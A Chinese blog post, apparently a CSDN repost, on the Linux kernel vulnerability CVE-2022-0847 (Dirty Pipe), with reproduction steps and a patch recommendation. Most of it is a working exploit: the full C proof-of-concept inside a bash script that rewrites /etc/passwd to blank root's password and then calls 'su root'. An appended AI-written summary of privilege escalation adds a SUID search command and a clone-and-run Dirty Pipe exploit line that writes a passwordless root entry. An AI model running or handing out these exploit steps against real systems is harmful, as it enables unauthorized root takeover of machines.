Dirty Pipe – Linux 内核本地提权漏洞

本文详细介绍了Linux内核中的CVE-2022-0847( DirtyPipe )漏洞,该漏洞存在于5.8及以后版本,允许攻击者覆盖并修改任意可读文件,从而实现本地提权。漏洞原理类似DirtyCow,但更易利用。受影响的Linux内核版本包括5.8到5.16.11/5.15.25/5.10.102。文章提供了漏洞复现步骤、PoC代码以及解决方案,建议受影响用户更新内核至5.16.11或更高版本。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、漏洞简介

CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权 root。

CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”。

二、影响范围

5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102

三、漏洞复现

测试环境:Linux kali 5.15.0-kali3-amd64 #1 SMP Debian 5.15.15-2kali1 (2022-01-31) x86_64 GNU/Linux

1、下载poc到kali,赋予Dirty-Pipe.sh执行权限

cd CVE-2022-0847
chmod +x Dirty-Pipe.sh

2、开始提权

bash ./Dirty-Pipe.sh

四、poc

#/bin/bash
cat>exp.c<<EOF
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");
	return EXIT_SUCCESS;
}
EOF

gcc exp.c -o exp -std=c99

# 备份密码文件
cp /etc/passwd /tmp/passwd
passwd_tmp=$(cat /etc/passwd|head)
./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"

echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"

# 现在可以无需密码切换到root账号
su root

五、解决方案

更新升级 Linux 内核到以下安全版本:

  • Linux 内核 >= 5.16.11
  • Linux 内核 >= 5.15.25
  • Linux 内核 >= 5.10.102

转载请注明:Adminxe's Blog » Dirty Pipe – Linux 内核本地提权漏洞

Linux系统中的方法主要包括利用系统配置错误、漏洞利用以及限管理工具的误用等手段。以下是几种常见的方式及其操作步骤: ### SUID SUID(Set User ID)是一种特殊的文件限设置,允许用户以文件所有者的身份执行程序。如果某些可执行文件被设置了SUID位,并且这些文件存在设计缺陷或可以被用来调用shell,则可能被用来限。 - **设置SUID限**:可以通过`chmod u+s filename`命令为某个可执行文件添加SUID限。 - **查找具有SUID限的文件**:使用`find / -type f -perm -04000 -ls 2>/dev/null`可以帮助定位系统中所有设置了SUID位的文件。 - **利用SUID**:当发现一个具有SUID限并且能够供交互式shell或者执行任意命令的程序时,攻击者可以直接运行该程序来获得更高限[^1]。 ### 内核漏洞 未修复的内核漏洞能够直接绕过系统的限控制机制。由于内核是操作系统的核心组成部分,一旦存在漏洞,攻击者就有可能利用这些漏洞获取更高的限。 - **确认内核版本**:使用`uname -a`查看当前内核信息。 - **检测潜在漏洞**:可以借助自动化工具如`linux-exploit-suggester.sh`脚本来匹配已知漏洞与当前内核版本是否相符。 - **利用具体漏洞**:例如Dirty Pipe (CVE-2022-0847)这样的特定漏洞,通过编写和编译相应的exploit代码尝试获取root访问[^2]。 ### sudo sudo机制允许普通用户根据安全策略执行一些或全部的root命令。不当配置可能导致升的机会。 - **编辑sudoers文件**:始终通过`visudo`命令安全地编辑`/etc/sudoers`文件,确保语法正确无误。 - **限制限分配**:遵循最小限原则,在sudoers文件中精确指定每个用户的限范围,避免给予过多不必要的特。 - **利用sudo**:若发现有过于宽松的sudo规则(比如NOPASSWD选项),则可能无需密码即可执行敏感操作;此外,某些情况下还可以利用sudo的环境变量处理不当等问题进行[^4]。 ### 其他技术 除了上述方法外,还有其他类型的途径,比如利用服务程序中的缓冲区溢出漏洞本地竞态条件问题或是第三方软件安装后遗留的安全隐患等。 ```bash # 示例:使用DirtyPipe漏洞 git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits make && ./exploit /etc/passwd 1 'root::0:0::/root:/bin/bash' ``` 为了防止非法行为的发生,建议采取以下防御措施: - 定期更新系统和应用程序至最新稳定版。 - 对关键服务实施严格的访问控制策略。 - 监控异常活动并及时响应可疑登录尝试。 - 教育用户关于最佳实践的知识,减少人为失误带来的风险。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Adminxe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值